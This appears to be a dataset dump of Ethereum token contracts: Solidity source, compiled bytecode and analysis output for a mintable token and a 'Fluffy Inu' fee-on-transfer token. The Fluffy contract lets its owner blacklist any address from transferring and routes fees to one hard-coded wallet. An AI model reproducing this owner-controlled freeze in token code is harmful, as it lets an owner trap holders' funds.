StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // ---------------------------------------------------------------------------- // Final Parameters // ---------------------------------------------------------------------------- contract LifeBubblesToken is MintableToken { string public name = " LifeBubblesToken "; string public symbol = "LBT"; uint public decimals = 18; }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610113578063095ea7b31461019d57806318160ddd146101c157806323b872dd146101e8578063313ce5671461021257806340c10f1914610227578063661884631461024b57806370a082311461026f5780637d64bcb4146102905780638da5cb5b146102a557806395d89b41146102d6578063a9059cbb146102eb578063d73dd6231461030f578063dd62ed3e14610333578063f2fde38b1461035a575b600080fd5b3480156100f657600080fd5b506100ff61037d565b604080519115158252519081900360200190f35b34801561011f57600080fd5b5061012861039e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016257818101518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a957600080fd5b506100ff600160a060020a036004351660243561042c565b3480156101cd57600080fd5b506101d6610492565b60408051918252519081900360200190f35b3480156101f457600080fd5b506100ff600160a060020a0360043581169060243516604435610498565b34801561021e57600080fd5b506101d661060f565b34801561023357600080fd5b506100ff600160a060020a0360043516602435610615565b34801561025757600080fd5b506100ff600160a060020a0360043516602435610730565b34801561027b57600080fd5b506101d6600160a060020a0360043516610820565b34801561029c57600080fd5b506100ff61083b565b3480156102b157600080fd5b506102ba6108e1565b60408051600160a060020a039092168252519081900360200190f35b3480156102e257600080fd5b506101286108f0565b3480156102f757600080fd5b506100ff600160a060020a036004351660243561094b565b34801561031b57600080fd5b506100ff600160a060020a0360043516602435610a2c565b34801561033f57600080fd5b506101d6600160a060020a0360043581169060243516610ac5565b34801561036657600080fd5b5061037b600160a060020a0360043516610af0565b005b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156104af57600080fd5b600160a060020a0384166000908152602081905260409020548211156104d457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561050457600080fd5b600160a060020a03841660009081526020819052604090205461052d908363ffffffff610b8516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610562908363ffffffff610b9716565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105a4908363ffffffff610b8516565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b600354600090600160a060020a0316331461062f57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561065757600080fd5b60015461066a908363ffffffff610b9716565b600155600160a060020a038316600090815260208190526040902054610696908363ffffffff610b9716565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561078557336000908152600260209081526040808320600160a060020a03881684529091528120556107ba565b610795818463ffffffff610b8516565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461085557600080fd5b60035474010000000000000000000000000000000000000000900460ff161561087d57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104245780601f106103f957610100808354040283529160200191610424565b6000600160a060020a038316151561096257600080fd5b3360009081526020819052604090205482111561097e57600080fd5b3360009081526020819052604090205461099e908363ffffffff610b8516565b3360009081526020819052604080822092909255600160a060020a038516815220546109d0908363ffffffff610b9716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a60908363ffffffff610b9716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b0757600080fd5b600160a060020a0381161515610b1c57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b9157fe5b50900390565b600082820183811015610ba657fe5b93925050505600a165627a7a7230582015965459ebd72d409d7a42cf51cfbf61454cbafb6acb9d4367510b6b4cdf9be90029
{"success": true, "error": null, "results": {}}
3,118
0x833d2bcbe4ca6bda334aeb178df0f98c95efc0be
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Fluffy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); string private constant _name = "Fluffy Inu"; string private constant _symbol = "FLUFFY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600a81526020017f466c7566667920496e7500000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f464c554646590000000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a00000000000000000000000000